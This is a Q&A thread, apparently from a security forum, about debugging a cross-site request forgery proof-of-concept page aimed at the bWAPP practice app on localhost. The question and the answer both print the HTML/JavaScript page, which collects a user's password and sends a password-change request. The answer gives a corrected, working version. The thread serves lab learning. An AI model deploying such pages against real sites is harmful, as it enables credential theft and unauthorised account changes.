-1
<html>
        <h1>POC CSRF</h1>
        <form>
                Enter bWAPP Password:<input type="password" id="password" placeholder="password">
        </form>
        <script>
                function httpGet(theURL)
                {
                        var pass = document.getElementById("password");
                        var xmlHttp = new XMLHttpRequest();
                        xmlHttp.onreadystatechange = function(){
                                if(xmlHttp.readyState == 4 && xmlHttp.status == 200)
                                        callback(xmlHttp.responseText);
                        }
                        xmlHttp.open("GET","http://localhost/bWAPP/csrf_1.php?password_curr=${pass}&password_conf=bee&action=change&password_new=bee"$
                        xmlHttp.send(null);
                }
        </script>
        </br>
        <noscript>Clever!, Never allow javascript to execute in browser</noscript>
        <button onclick=httpGet("/admin")>click me!</button>
</html>

Here I am not able to make the .open() method work first due to action keyword (reserved in html) which breaks the method and secondly I guess the pass variable is also an issue.

What I need : I need help to make browser load http://localhost/bWAPP/csrf_1.php?password_curr=${pass}&password_conf=bee&action=change&password_new=bee upon clicking click me button! where pass is the password entered by user.

Improve this question
4
  • "...due to action keyword which breaks the method and secondly I guess the pass variable is also an issue" - I have no idea what you are trying to say here. But from my understanding of the scope of the problem this looks like a pure coding question and not actually a security question. Maybe it would be more like a security question if you would describe the actual problem you see instead of just an unspecific "I am not able to make the .open() method work" - and if this problem is specific to security and not to general coding. – Steffen Ullrich Jun 30 '19 at 16:30
  • Action keyword is reserved keyword in html which I guess causes an issue and the pass variable is the entered password by the user. Here I am trying to make user enter his current password and perform a GET request to url to change his password due to CSRF vulnerability. – Divyanshu Jun 30 '19 at 16:35
  • Then why are you using JavaScript xhtml request.Just submit the request via GET.And why are you asking for his password?I dont think you understand CSRF – yeah_well Jun 30 '19 at 17:01
  • "Action keyword is reserved keyword in html...." - action is an attribute of a form HTML tag. Outside of this it has no special meaning. It specifically has no special meaning inside a URL as in your case. As I said, this looks like a coding issue. The right place to ask this would be stackoverflow.com. But don't forget to actually provide way more details of the problem and what you tried and what you expected and what you got when asking there instead just "I am not able to make [..it..] work". – Steffen Ullrich Jun 30 '19 at 17:20
0

Your problems here are almost entirely syntax errors.
First, you are trying to concatenate the HTML Element object itself instead of the string that has been entered into it. Use .value to get the password string.
Second, you are missing the closing parenthesis on .open(). You have a $ where it should be.
Thirdly, you cannot use string interpolation (${pass}) with a double-quoted string. That only works when you are using backticks.

Here is what it should look like.

<html>
        <h1>POC CSRF</h1>
        <form>
                Enter bWAPP Password:<input type="password" id="password" placeholder="password">
        </form>
        <script>
                function httpGet(theURL)
                {
                        var pass = document.getElementById("password").value;
                        console.log(pass);
                        var xmlHttp = new XMLHttpRequest();
                        xmlHttp.onreadystatechange = function(){
                                if(xmlHttp.readyState == 4 && xmlHttp.status == 200)
                                        callback(xmlHttp.responseText);
                        }
                        xmlHttp.open("GET",`http://localhost/bWAPP/csrf_1.php?password_curr=${pass}&password_conf=bee&action=change&password_new=bee`);
                        xmlHttp.send(null);
                }
        </script>
        <br>
        <noscript>Clever!, Never allow javascript to execute in browser</noscript>
        <button onclick="httpGet('/admin')">click me!</button>
</html>

Lastly, there is no CSRF vulnerability if the user's current password is required in the request. If you are able to trick someone into entering their password into your website, that's phishing, and you've already pwned them just by getting their password. Being able to do that is not a software problem, it's a human problem.

Improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.